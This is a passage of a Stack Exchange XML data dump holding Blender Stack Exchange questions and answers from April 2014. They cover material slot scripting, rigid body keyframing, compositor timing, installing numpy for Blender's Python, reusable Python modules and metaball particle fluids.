ContentLicense="CC BY-SA 3.0" />
  <row Id="8477" PostTypeId="2" ParentId="8475" CreationDate="2014-04-10T20:39:52.993" Score="4" Body="&lt;p&gt;This sequence would assign the currently selected material to the first slot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.active_material_index = 0&#xA;bpy.ops.object.material_slot_assign()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Materials_Utils&quot; rel=&quot;nofollow&quot;&gt;material-utils&lt;/a&gt; addon makes heavy use of the API methods for materials, there you should find further details. &lt;a href=&quot;https://svn.blender.org/svnroot/bf-extensions/trunk/py/scripts/addons/space_view3d_materials_utils.py&quot; rel=&quot;nofollow&quot;&gt;SVN space_view3d_materials_utils.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-10T20:39:52.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8478" PostTypeId="2" ParentId="8474" CreationDate="2014-04-10T21:09:13.380" Score="1" Body="&lt;h3&gt;ESC Required&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;One possibility would be that you've accidentally activated a selection or an operator awaiting further input? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case the &lt;em&gt;Header&lt;/em&gt; of your &lt;em&gt;3D View&lt;/em&gt; might change to something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hvC2c.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;sup&gt;Example for &lt;em&gt;Knife Tool&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ESC would cancel such operations. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Possible Solution&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;On Windows you can have different keyboard layouts and switch between them by pressing &lt;kbd&gt;Left Alt&lt;/kbd&gt;-&lt;kbd&gt;Shift&lt;/kbd&gt; which happens very easy when using Blender.&#xA;If this is the reason change the Hotkeys in Windows: &lt;em&gt;Control panel / Region &amp;amp; Languages / Keyboard &amp;amp; languages / Change keyboard / Advanced key setting&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Numeric Input&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;On my machine the numeric block is independent from whether or not the NumLock is active it never switches the layers as the normal digits would do. The option &lt;em&gt;Emulate Numpad&lt;/em&gt; in the &lt;em&gt;User Preferences / Input&lt;/em&gt; would make the main keys &lt;kbd&gt;1&lt;/kbd&gt; to &lt;kbd&gt;0&lt;/kbd&gt; to switch the Views Orientation. But it's never the other way around.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-10T21:09:13.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8480" PostTypeId="1" AcceptedAnswerId="8481" CreationDate="2014-04-10T22:29:10.070" Score="4" ViewCount="793" Body="&lt;p&gt;I have a live-action shot of someone holding a gun and fake-shooting. I want to add muzzle flashes with Blender's compositor, so I grab my muzzle flash stock image to overlay onto the shot. How can I make the flash appear at selected points in my shot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far the only thing I've found that seems close to this functionality is the Offset option on the Image node when an image sequence is selected, but this just skips frames, it doesn't place the sequence in time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I really want to do is decide when a Movie, Image or Image Sequence plays in my composition. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="599" LastEditDate="2014-04-11T00:33:17.633" LastActivityDate="2014-04-15T20:13:05.553" Title="Play movie, image, or image sequence at specified time?" Tags="&lt;compositor&gt;&lt;editing&gt;&lt;video&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8481" PostTypeId="2" ParentId="8480" CreationDate="2014-04-10T22:47:08.573" Score="2" Body="&lt;h1&gt;Image sequence&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can specify the frame one which the image sequence starts with the &lt;em&gt;Start frame&lt;/em&gt; property of the the image node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yjCGh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Video file&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I don't know of a way to do this with a video file in the compositor (there is no start frame option on the  movie clip node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is a very trivial matter in the VSE (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video Sequence Editor&lt;/a&gt;) for still images, image sequences and video files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ENNfA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-04-11T00:28:53.883" LastActivityDate="2014-04-11T00:28:53.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8483" PostTypeId="1" AcceptedAnswerId="8484" CreationDate="2014-04-11T00:38:29.027" Score="8" ViewCount="8425" Body="&lt;p&gt;I'd like to have a group of debris fall from a ceiling onto the floor, but not have them drop all at the same time. Is there a way to set a keyframe that dictates when the object enters the simulation? For example, object 1 starts falling on frame 0, object 2 on frame 5, object 3 on frame 24, etc.&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2017-02-19T19:14:13.030" Title="Activate physics by keyframe" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8484" PostTypeId="2" ParentId="8483" CreationDate="2014-04-11T00:40:13.970" Score="11" Body="&lt;p&gt;Yes, you can keyframe the &lt;em&gt;Animated&lt;/em&gt; checkbox by hovering over it and pressing &lt;kbd&gt;I&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/itpLJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &lt;em&gt;Animated&lt;/em&gt; is enabled, the rigid body will be controlled with the animation system. When it is disabled, the rigid body will be controlled by the rigid body simulator.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-11T00:40:13.970" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8486" PostTypeId="1" CreationDate="2014-04-11T03:33:21.253" Score="5" ViewCount="1071" Body="&lt;p&gt;I've been trying all sorts of different formats but I can't find a decent exporter for character animation from Blender 2.69 which exports mesh, UV wrapped texture info (doesn't have to include the texture), bone and animation information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the FBX exporter may do animation, but I'm struggling to understand the format.  I'd be happy to write my own exporter (in fact, I have half an exporter now) but I can't find any good references on how to export animation data.  It seems the API has gone through some changes recently which might account for the lack of up-to-date information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2994" LastEditorUserId="-1" LastEditDate="2014-04-11T06:49:04.210" LastActivityDate="2014-07-15T22:13:29.177" Title="Good format for character mesh &amp; animation export?" Tags="&lt;scripting&gt;&lt;animation&gt;&lt;export&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8487" PostTypeId="2" ParentId="8475" CreationDate="2014-04-11T05:56:51.430" Score="12" Body="&lt;p&gt;That would be -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;D = bpy.data&#xA;&#xA;if len(D.objects['Cube'].material_slots) &amp;lt; 1:&#xA;    # if there is no slot then we append to create the slot and assign&#xA;    D.objects['Cube'].data.materials.append(D.materials['Material'])&#xA;else:&#xA;    # we always want the material in slot[0]&#xA;    D.objects['Cube'].material_slots[0].material = D.materials['Material']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-11T05:56:51.430" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8488" PostTypeId="2" ParentId="8476" CreationDate="2014-04-11T06:20:44.447" Score="1" Body="&lt;p&gt;Rigify uses a python script to generate the controller rig. Changes to the base metarig can mess up this script, preventing parts of the armature being generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it looks like you started with the metarig, your rig doesn't have a spine or shoulder bones. The original metarig has hips-spine-chest-shoulder-upper_arm you have hips-chest-upper_arm. These missing bones will be the reason the script is failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new metarig and adjust the existing bone positions to where you want them, leaving each existing bone in place.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-11T06:20:44.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8489" PostTypeId="2" ParentId="8465" CreationDate="2014-04-11T09:19:30.550" Score="4" Body="&lt;p&gt;The following script uses the formula for &lt;a href=&quot;https://blender.stackexchange.com/a/6693/1112&quot;&gt;cubic Bezier curves&lt;/a&gt; (which Blender approximates) to first determine &lt;em&gt;t&lt;/em&gt; (which is the parametrization of the curve) from &lt;em&gt;x&lt;/em&gt; and then gets &lt;em&gt;y&lt;/em&gt; from &lt;em&gt;t&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;&#xA;def main():&#xA;    '''Here's an example usage of these functions'''    &#xA;    x = 5.0    &#xA;    bez_obj = bpy.data.objects['BezierCurve']&#xA;&#xA;    print('The y-value is', getYfromXforBezierObject(bez_obj, x))&#xA;&#xA;&#xA;&#xA;def getYfromXforBezierObject(bez_obj, x):&#xA;    '''Given a Bezier object which, when projected on to xy-plane, is a &#xA;    well-behaved function (i.e. each x-value has only one associated y-value),&#xA;    this returns the y-value for a given x-value&#xA;&#xA;    The higher resolution your curve is, the more accurate the resultant y-value&#xA;    will be.'''&#xA;&#xA;    #find appropriate segment&#xA;    segment_i = determineBezSegment(bez_obj, x)&#xA;&#xA;    if len(bez_obj.data.splines) &amp;gt; 1:&#xA;        print(&quot;WARNING: your Bezier object has multiple splines!&quot;)&#xA;&#xA;    spline = bez_obj.data.splines[0]&#xA;&#xA;    #get the four points that control the cubic bezier segment&#xA;    P0 = spline.bezier_points[segment_i].co[:2]&#xA;    P1 = spline.bezier_points[segment_i].handle_right[:2]&#xA;    P2 = spline.bezier_points[segment_i+1].handle_left[:2]&#xA;    P3 = spline.bezier_points[segment_i+1].co[:2]  &#xA;&#xA;    y = getYfromXforBezSegment(P0, P1, P2, P3, x)&#xA;&#xA;    return y&#xA;&#xA;&#xA;def determineBezSegment(bez_obj, x):&#xA;    '''Given a Bezier object and an x-value, determine which of the cubic &#xA;    segments corresponds to that x-value.&#xA;    A return value of 0 would represent the first segment.'''&#xA;    print(bez_obj.data)&#xA;    bez_points = bez_obj.data.splines[0].bezier_points&#xA;&#xA;    if len(bez_obj.data.splines) &amp;gt; 1:&#xA;        print(&quot;WARNING: your Bezier object has multiple splines!&quot;)&#xA;&#xA;    #loop through all segments and find which one contains x&#xA;    for segment_i in range(len(bez_points)-1):&#xA;        start_point = bez_points[segment_i]&#xA;        end_point = bez_points[segment_i+1]&#xA;        #break if this segment contains x&#xA;        if start_point.co[0] &amp;lt;= x &amp;lt; end_point.co[0]:&#xA;            break&#xA;    #check if no segment was found&#xA;    else: &#xA;        print(&quot;WARNING: no segment found for given x-value and Bezier object&quot;)&#xA;        return None&#xA;&#xA;    return segment_i&#xA;&#xA;&#xA;def getYfromXforBezSegment(P0, P1, P2, P3, x):&#xA;    '''For a cubic Bezier segment described by the 2-tuples P0, ..., P3, return&#xA;    the y-value associated with the given x-value.&#xA;&#xA;    Ex: getXfromYforCubicBez((0,0), (1,1), (2,1), (2,2), 3.2)'''&#xA;&#xA;    #First, get the t-value associated with x-value, where t is the&#xA;    #parameterization of the Bezier curve and ranges from 0 to 1.&#xA;    #We need the coefficients of the polynomial describing cubic Bezier&#xA;    #(cubic polynomial in t)&#xA;    coefficients = [-P0[0] + 3*P1[0] - 3*P2[0] + P3[0],&#xA;                    3*P0[0] - 6*P1[0] + 3*P2[0],&#xA;                    -3*P0[0] + 3*P1[0],&#xA;                    P0[0] - x]&#xA;    #find roots of this polynomial to determine the parameter t&#xA;    roots = np.roots(coefficients)&#xA;    #find the root which is between 0 and 1, and is also real&#xA;    correct_root = None&#xA;    for root in roots:&#xA;        if np.isreal(root) and 0 &amp;lt;= root &amp;lt;= 1:&#xA;            correct_root = root&#xA;&#xA;    #check to make sure a valid root was found&#xA;    if correct_root is None:&#xA;        print('Error, no valid root found. Are you sure your Bezier curve '&#xA;              'represents a valid function when projected into the xy-plane?')&#xA;    param_t = correct_root&#xA;&#xA;    #from our value for the t parameter, find the corresponding y-value using formula for&#xA;    #cubic Bezier curves&#xA;    y = (1-param_t)**3*P0[1] + 3*(1-param_t)**2*param_t*P1[1] + 3*(1-param_t)*param_t**2*P2[1] + param_t**3*P3[1]&#xA;    assert np.isreal(y)&#xA;    # typecast y from np.complex128 to float64   &#xA;    y = y.real&#xA;    return y&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This script will work only if your Bezier curve is a function when projected into the xy-plane (hit &lt;kbd&gt;NUM7&lt;/kbd&gt; and make sure it passes the &quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Vertical_line_test&quot; rel=&quot;nofollow noreferrer&quot;&gt;vertical line test&lt;/a&gt;&quot;).&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-04-14T07:14:22.320" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8490" PostTypeId="2" ParentId="8472" CreationDate="2014-04-11T10:06:51.783" Score="5" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OkRoL.jpg&quot; alt=&quot;mute audio files&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You were right. thx Polosson. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step by step if you want to mute all audio files in your sequence editor:&#xA;1 Make your timeline visible&#xA;2 Click on Playback (You can find it on your timeline bar)&#xA;3 Choose &quot;Audio muted&quot; from the list and mark it.&#xA;If you want to back your audio audible, just unmark &quot;Audio Muted&quot;&lt;/p&gt;&#xA;" OwnerUserId="3091" LastEditorUserId="3091" LastEditDate="2014-04-11T11:52:37.130" LastActivityDate="2014-04-11T11:52:37.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8493" PostTypeId="1" AcceptedAnswerId="8495" CreationDate="2014-04-11T13:09:01.797" Score="4" ViewCount="2201" Body="&lt;p&gt;I've been googling for this, and I can't find a definitive answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are of the options I can find:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://plus.google.com/106742462387083223310/posts/696yEuzhf2b&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://plus.google.com/106742462387083223310/posts/696yEuzhf2b&lt;/a&gt;&lt;br&gt;&#xA;which suggests: '&lt;strong&gt;sudo python3.2 setup.py install --install-lib /usr/lib/blender/scripts/modules/&lt;/strong&gt;'  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I don't see how that has anything to do with numpy, so I'm going to skip this one for now.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?324822-Another-NumPy-issue&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?324822-Another-NumPy-issue&lt;/a&gt;&#xA;Install numpy using existing Python3, and then manually copy /numpy folder over&#xA;I've tried this, as below, and it fails just the same as in that thread&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete Blender's Python, forcing it to fall back upon  the system Python installation&#xA;I'm reluctant to do this as I want this module to be publicly usable, and I don't like the idea of requiring people to cobble their blender to make it work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So, going with (2):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on OS X and I have a separate Python3 courtesy of Homebrew. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;piBookAir:~ pi$ pip install numpy&#xA;&#xA;piBookAir:~ pi$ python3&#xA;Python 3.3.4 (default, Mar  8 2014, 14:52:56) &#xA;[GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.2.79)] on darwin&#xA;Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xA;&amp;gt;&amp;gt;&amp;gt; import numpy&#xA;&amp;gt;&amp;gt;&amp;gt; print( numpy.__file__ )&#xA;/usr/local/lib/python3.3/site-packages/numpy/__init__.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now I copy the /numpy folder over to ~/BlenderScripts/modules/&#xA;(I have set ~/BlenderScripts as my scripts folder)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I restart Blender, go into the Python console:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/csOdH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is &quot;&lt;strong&gt;ImportError: cannot import name add_newdocs&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I may bundle two questions into one, can I copy my ~/BlenderScripts onto a fresh system (maybe with a different operating system) and expect a script that imports numpy to still work?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-04-11T13:18:12.230" LastActivityDate="2014-06-05T17:45:17.117" Title="How to install numpy for blender-python (OSX)" Tags="&lt;python&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8494" PostTypeId="1" CreationDate="2014-04-11T13:12:13.103" Score="1" ViewCount="160" Body="&lt;p&gt;Is there a way to specify a rigid body's initial velocity or rotation?&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-04-11T16:28:02.567" Title="Rigid body initial velocity/rotation?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2014-04-12T14:20:00.730" ContentLicense="CC BY-SA 3.0" />
  <row Id="8495" PostTypeId="2" ParentId="8493" CreationDate="2014-04-11T13:23:28.187" Score="4" Body="&lt;p&gt;Numpy is included in Blender 2.70 on Windows, Mac OS X and Linux.&lt;/p&gt;&#xA;" OwnerUserId="1981" LastEditorUserId="1363" LastEditDate="2014-04-11T15:31:30.673" LastActivityDate="2014-04-11T15:31:30.673" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8496" PostTypeId="1" CreationDate="2014-04-11T14:08:06.637" Score="2" ViewCount="1025" Body="&lt;p&gt;This follows from Garrett's fantastic answer here: &lt;a href=&quot;https://blender.stackexchange.com/questions/8465/in-python-given-x-value-on-2d-bezier-curve-return-y-value&quot;&gt;In Python, given x-value on 2D Bezier Curve, return y-value&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(EDIT: question generalised as per suggestion)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say we have a Python file Foo.py containing the function X(p,q)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to set things up so that my scripts can call X(...), rather than have to copy-paste its definition into each script that wants to invoke it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to accomplish this? And where is the right place to put Foo.py?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-04-12T02:49:24.393" Title="How to create reusable Python component" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="5" ClosedDate="2014-04-11T23:42:52.923" ContentLicense="CC BY-SA 3.0" />
  <row Id="8497" PostTypeId="2" ParentId="8496" CreationDate="2014-04-11T14:27:16.453" Score="1" Body="&lt;p&gt;You have a full article on the blender wiki wich is going to help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Multi-File_packages&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Multi-File_packages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've nothing to explain all is in the wiki.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-04-11T14:27:16.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8498" PostTypeId="2" ParentId="8496" CreationDate="2014-04-11T15:31:36.303" Score="2" Body="&lt;p&gt;I figured out what I need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my own ~/Dev/BlenderScripts folder (as per &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set &lt;em&gt;File &gt; User Prefs &gt; Scripts&lt;/em&gt; to &quot;/users/pi/Dev/BlenderScripts&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: using ~ does seem to work but it doesn't show up on sys.path; I have filed a potential bug: &lt;a href=&quot;https://developer.blender.org/T39680?workflow=create&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T39680?workflow=create&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then with the mouse over the 3-D view, I press &lt;kbd&gt;F8&lt;/kbd&gt;, which reloads Python stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I check in Blender's Python prompt by doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;sys.path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it will show up &lt;strong&gt;/users/pi/Dev/BlenderScripts/&lt;/strong&gt;{ &lt;strong&gt;addons&lt;/strong&gt;, &lt;strong&gt;modules&lt;/strong&gt;, &lt;strong&gt;startup&lt;/strong&gt; }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then create &lt;strong&gt;modules/Foo.py&lt;/strong&gt;, which contains function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def X(p,q):&#xA;    print( (p,q) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then from another script, or from Blender's Python prompt, I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from Foo import X&#xA;X(1,2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-04-11T21:32:54.560" LastActivityDate="2014-04-11T21:32:54.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8499" PostTypeId="1" AcceptedAnswerId="8502" CreationDate="2014-04-11T15:44:17.420" Score="3" ViewCount="3372" Body="&lt;p&gt;I don't want to use the fluid simulator beacuse i've been getting more controlled results with the particles system feature + using a guide as a force field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i'm trying to accomplish is water flowing inside a pipe. I don't need it to be realistic but i need an inner flow to be perceived. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i was thinking of using a particle system guided with the same curve that models the pipe (so it follows its shape) and maybe add a smooth modifier to the result, to make it appear as though the multiple particles are only one fluid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course if you think there's a way to achieve this easily with the fluid sim, or maybe there are ways to control it more preciselly, I will be glad to listen to your suggestions. But if what i'm asking is possible i would like to go that way or even a lower-tech solution (without any kind of simulation at all!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1867" LastEditorUserId="1867" LastEditDate="2014-04-11T17:56:08.327" LastActivityDate="2014-04-11T17:56:08.327" Title="Is there a way to render particles as if they were a single liquid?" Tags="&lt;particles&gt;&lt;fluid-simulation&gt;&lt;meta-objects&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8502" PostTypeId="2" ParentId="8499" CreationDate="2014-04-11T16:53:32.560" Score="4" Body="&lt;p&gt;If you set up a particle system that works, you can use metaballs as the object it emits, so it looks like it's one smooth &quot;fluid&quot;. Metaballs will merge together into one smooth shape. The result isn't perfect, but it's decent:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Ezko.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-04-11T16:53:32.560" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8504" PostTypeId="1" AcceptedAnswerId="8506" CreationDate="2014-04-11T17:52:38.317" Score="0" ViewCount="2231" Body="&lt;p&gt;I'm very interested in modelling however I only have a little bit experience in Adobe Flash Pro. I would like to start from Blender and how to make easy models then go higher and higher into more advanced models. Is there any book from which I can start from ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there are many tutorials on Google or YouTube such as this one (&lt;a href=&quot;http://www.youtube.com/watch?v=-2uY7rjhhMs&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=-2uY7rjhhMs&lt;/a&gt;) but I prefer some solid book which will explain everything from the basics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;br&gt;&#xA;Every help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3101" LastActivityDate="2014-04-11T22:02:28.550" Title="How to start with Blender?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" ClosedDate="2014-04-11T23:54:14.137" ContentLicense="CC BY-SA 3.0" />
  <row Id="8505" PostTypeId="1" AcceptedAnswerId="8508" CreationDate="2014-04-11T19:05:41.570" Score="10" ViewCount="4192" Body="&lt;p&gt;I was just wondering if it is even remotely possible to setup a Blender installation on a server (probably Linux based); then, on another computer SSH into the server and use Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe if this were possible, it would probably run terribly, but I was just wondering how possible this actually is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that simple GUI Java applications can be run in this way by using something like XMing on the local computer. Can the same sort of principle apply here?&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="1253" LastEditDate="2014-04-11T23:42:38.880" LastActivityDate="2014-12-25T06:01:28.937" Title="Blender via ssh?" Tags="&lt;linux&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8506" PostTypeId="2" ParentId="8504" CreationDate="2014-04-11T19:10:34.203" Score="0" Body="&lt;p&gt;To elaborate on what gandalf3 commented, the answer is check out Blender: Noob to Pro here &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro&quot; rel=&quot;nofollow&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest while you go through the tutorials you should freely test out any ideas you might have like &quot;Hey what happens when I do this?&quot;, &#xA;Also you may want to take a look and get familiar with Blender's shortcut keys.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2014-04-11T19:10:34.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8507" PostTypeId="2" ParentId="8496" CreationDate="2014-04-11T19:21:38.300" Score="3" Body="&lt;p&gt;You could save the file into the &lt;code&gt;site-packages&lt;/code&gt; directory, which is found by going to your Blender folder and then &lt;code&gt;2.70&lt;/code&gt; &gt; &lt;code&gt;python&lt;/code&gt; &gt; &lt;code&gt;lib&lt;/code&gt; &gt; &lt;code&gt;python3.3&lt;/code&gt; &gt; &lt;code&gt;site-packages&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say your file is called &quot;Foo.py&quot; and has in it a function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def X(p,q):&#xA;    return p + q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then, after saving it into &lt;code&gt;site-packages&lt;/code&gt;, in the Blender text editor or console, you could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from Foo import X&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-04-12T02:49:24.393" LastActivityDate="2014-04-12T02:49:24.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
